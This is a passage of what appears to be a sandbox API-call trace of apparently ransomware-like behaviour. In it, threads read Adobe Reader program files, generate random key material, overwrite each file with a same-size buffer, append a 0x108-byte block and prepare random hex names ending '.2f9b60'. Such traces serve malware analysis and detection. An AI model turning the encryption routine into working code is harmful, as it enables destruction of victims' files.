_Dest=0x1ce5d142, _Format="%c%c" | out: _Dest="ba") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d144, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d146, _Format="%c%c" | out: _Dest="19") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d148, _Format="%c%c" | out: _Dest="3c") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d14a, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d14c, _Format="%c%c" | out: _Dest="20") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d14e, _Format="%c%c" | out: _Dest="1a") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d150, _Format="%c%c" | out: _Dest="ec") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d152, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d154, _Format="%c%c" | out: _Dest="da") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d156, _Format="%c%c" | out: _Dest="56") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d158, _Format="%c%c" | out: _Dest="90") returned 2 [0201.002] sprintf (in: _Dest=0x1ce5d15a, _Format="%c%c" | out: _Dest="84") returned 2 [0201.002] RtlInitAnsiString (in: DestinationString=0x1d65fcc8, SourceString="627d6edf86baa9cfcbba2a193cb2201aecbcda569084" | out: DestinationString="627d6edf86baa9cfcbba2a193cb2201aecbcda569084") [0201.002] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d65fc98, SourceString="627d6edf86baa9cfcbba2a193cb2201aecbcda569084", AllocateDestinationString=1 | out: DestinationString="627d6edf86baa9cfcbba2a193cb2201aecbcda569084") returned 0x0 [0201.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce153e0 [0201.002] wcscat (in: _Dest=0x43189760, _Source="627d6edf86b" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\627d6edf86b") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\627d6edf86b" [0201.002] wcscat (in: _Dest=0x43189760, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\627d6edf86b.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\627d6edf86b.2f9b60" [0201.002] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\627d6edf86b.2f9b60", NtPathName=0x1d65fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\627d6edf86b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314ac60 Thread: id = 2598 os_tid = 0x2104 [0156.360] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn")) returned 0x20 [0156.360] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN", dwFileAttributes=0x20) returned 1 [0156.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11a0 [0156.362] GetFileSizeEx (in: hFile=0x11a0, lpFileSize=0x33a4f880 | out: lpFileSize=0x33a4f880*=6144) returned 1 [0156.362] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x17fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.362] ReadFile (in: hFile=0x11a0, lpBuffer=0x33a4f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33a4f848, lpOverlapped=0x0 | out: lpBuffer=0x33a4f800*, lpNumberOfBytesRead=0x33a4f848*=0x4, lpOverlapped=0x0) returned 1 [0156.364] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc350 [0156.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.365] NtQuerySystemTime (in: CurrentTime=0x33a4f740 | out: CurrentTime=0x33a4f740*=132462177614986000) returned 0x0 [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x15bee31c [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x3155c88d [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x2486b198 [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x5ed9002a [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x70630de3 [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x416e8619 [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x6ce58339 [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x4f1c813a [0156.365] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x2e356a8b [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x3157b49b [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x2b8358a1 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x53d53331 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x436f3f79 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0xf9c3b27 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x783f1daf [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x67da2578 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x2f0de553 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x2e4898ec [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x730098a4 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x534c7f30 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x35fe0aeb [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x9bd6994 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x1da7062a [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x322ae8da [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x3c80700 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0xb3b5f80 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x35d348c2 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x3651d8c9 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x34233b36 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x79a023fd [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x3bef81c3 [0156.366] RtlRandomEx (in: Seed=0x33a4f730 | out: Seed=0x33a4f730) returned 0x586a7583 [0156.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc410 [0156.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24a20 [0156.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc440 [0156.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24a20) returned 1 [0156.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18b90 [0156.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24a20 [0156.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a22670 [0156.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a26280 [0156.380] ReadFile (in: hFile=0x11a0, lpBuffer=0x42a22670, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x33a4f730, lpOverlapped=0x0 | out: lpBuffer=0x42a22670*, lpNumberOfBytesRead=0x33a4f730*=0x1800, lpOverlapped=0x0) returned 1 [0156.430] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.430] WriteFile (hFile=0x11a0, lpBuffer=0x42a26280, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x33a4f734, lpOverlapped=0x0) [0186.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca9a0 [0186.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca9d0 [0186.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca9d0) returned 1 [0186.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a26280) returned 1 [0186.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a22670) returned 1 [0186.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24a20) returned 1 [0186.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18b90) returned 1 [0186.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca9d0 [0186.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18b90 [0186.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24a20 [0186.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaa00 [0186.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecaa00) returned 1 [0186.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cecaa00 [0186.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaa30 [0186.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaa60 [0186.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecaa60) returned 1 [0186.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24a20) returned 1 [0186.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18b90) returned 1 [0186.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431034f0 [0186.728] SetFilePointerEx (in: hFile=0x11a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.728] WriteFile (in: hFile=0x11a0, lpBuffer=0x431034f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33a4f850, lpOverlapped=0x0 | out: lpBuffer=0x431034f0*, lpNumberOfBytesWritten=0x33a4f850*=0x108, lpOverlapped=0x0) returned 1 [0200.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c30 [0200.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2c30) returned 1 [0200.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0200.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c30 [0200.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c00 [0200.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2c00) returned 1 [0200.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d130 [0200.985] sprintf (in: _Dest=0x1ce5d130, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d132, _Format="%c%c" | out: _Dest="96") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d134, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d136, _Format="%c%c" | out: _Dest="b0") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d138, _Format="%c%c" | out: _Dest="22") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d13a, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d13c, _Format="%c%c" | out: _Dest="62") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d13e, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d140, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d142, _Format="%c%c" | out: _Dest="96") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d144, _Format="%c%c" | out: _Dest="37") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d146, _Format="%c%c" | out: _Dest="43") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d148, _Format="%c%c" | out: _Dest="72") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d14a, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.985] sprintf (in: _Dest=0x1ce5d14c, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.986] sprintf (in: _Dest=0x1ce5d14e, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.986] sprintf (in: _Dest=0x1ce5d150, _Format="%c%c" | out: _Dest="31") returned 2 [0200.986] sprintf (in: _Dest=0x1ce5d152, _Format="%c%c" | out: _Dest="13") returned 2 [0200.986] sprintf (in: _Dest=0x1ce5d154, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.986] sprintf (in: _Dest=0x1ce5d156, _Format="%c%c" | out: _Dest="d2") returned 2 [0200.986] sprintf (in: _Dest=0x1ce5d158, _Format="%c%c" | out: _Dest="82") returned 2 [0200.986] sprintf (in: _Dest=0x1ce5d15a, _Format="%c%c" | out: _Dest="21") returned 2 [0200.986] RtlInitAnsiString (in: DestinationString=0x33a4f8c8, SourceString="bc96e0b0221a626aca96374372bad34c3113a4d28221" | out: DestinationString="bc96e0b0221a626aca96374372bad34c3113a4d28221") [0200.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x33a4f898, SourceString="bc96e0b0221a626aca96374372bad34c3113a4d28221", AllocateDestinationString=1 | out: DestinationString="bc96e0b0221a626aca96374372bad34c3113a4d28221") returned 0x0 [0200.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce15760 [0200.987] wcscat (in: _Dest=0x43189620, _Source="bc96e0b0221" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bc96e0b0221") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bc96e0b0221" [0200.987] wcscat (in: _Dest=0x43189620, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bc96e0b0221.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bc96e0b0221.2f9b60" [0200.987] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bc96e0b0221.2f9b60", NtPathName=0x33a4f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bc96e0b0221.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314aae0 Thread: id = 2599 os_tid = 0x2108 [0156.440] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor")) returned 0x20 [0156.441] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR", dwFileAttributes=0x20) returned 1 [0156.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x828 [0156.443] GetFileSizeEx (in: hFile=0x828, lpFileSize=0x337af900 | out: lpFileSize=0x337af900*=7680) returned 1 [0156.443] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.443] ReadFile (in: hFile=0x828, lpBuffer=0x337af880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x337af8c8, lpOverlapped=0x0 | out: lpBuffer=0x337af880*, lpNumberOfBytesRead=0x337af8c8*=0x4, lpOverlapped=0x0) returned 1 [0158.883] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1cd0 [0158.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0158.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d30 [0158.883] NtQuerySystemTime (in: CurrentTime=0x337af7c0 | out: CurrentTime=0x337af7c0*=132462177640102000) returned 0x0 [0158.883] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x1b9ce961 [0158.883] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x3d2d7d2f [0158.883] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0xab25649 [0158.883] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x5f958d64 [0158.883] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x22f617a3 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x3c366047 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x46c5cfb1 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x4ad2ce5d [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x1247d775 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x6176548 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x7995772 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x495b7fc0 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x1ff6ece1 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x222c1fdc [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x55cd71ef [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x3c1b4d36 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x22669b1 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x412c8f51 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x234032cb [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x34b5924f [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x3193246d [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x3a77013 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x2856662a [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x15de370e [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x7e3ef0a3 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x4c1b155d [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x650b36c5 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x53165032 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x551f34ca [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x5edde6e [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0xcc7db29 [0158.884] RtlRandomEx (in: Seed=0x337af7b0 | out: Seed=0x337af7b0) returned 0x4b3b7084 [0158.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d60 [0158.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307980 [0158.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d90 [0158.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307980) returned 1 [0158.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1d30) returned 1 [0158.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1cd0) returned 1 [0158.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd40 [0158.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307980 [0158.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1cd0 [0158.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1cd0) returned 1 [0158.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b6de90 [0158.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b71aa0 [0158.895] ReadFile (in: hFile=0x828, lpBuffer=0x42b6de90, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x337af7b0, lpOverlapped=0x0 | out: lpBuffer=0x42b6de90*, lpNumberOfBytesRead=0x337af7b0*=0x1e00, lpOverlapped=0x0) returned 1 [0159.306] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.306] WriteFile (hFile=0x828, lpBuffer=0x42b71aa0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x337af7b4, lpOverlapped=0x0) [0186.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecab20 [0186.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecab50 [0186.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecab50) returned 1 [0186.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b71aa0) returned 1 [0186.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b6de90) returned 1 [0186.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307980) returned 1 [0186.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd40) returned 1 [0186.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cecab50 [0186.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd40 [0186.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307980 [0186.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecab80 [0186.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecab80) returned 1 [0186.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cecab80 [0186.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecabb0 [0186.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecabe0 [0186.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecabe0) returned 1 [0186.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307980) returned 1 [0186.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd40) returned 1 [0186.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43103710 [0186.742] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.742] WriteFile (in: hFile=0x828, lpBuffer=0x43103710*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x337af8d0, lpOverlapped=0x0 | out: lpBuffer=0x43103710*, lpNumberOfBytesWritten=0x337af8d0*=0x108, lpOverlapped=0x0) returned 1 [0201.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc590 [0201.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc590) returned 1 [0201.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc590 [0201.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc560 [0201.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc560) returned 1 [0201.053] RtlFreeHeap 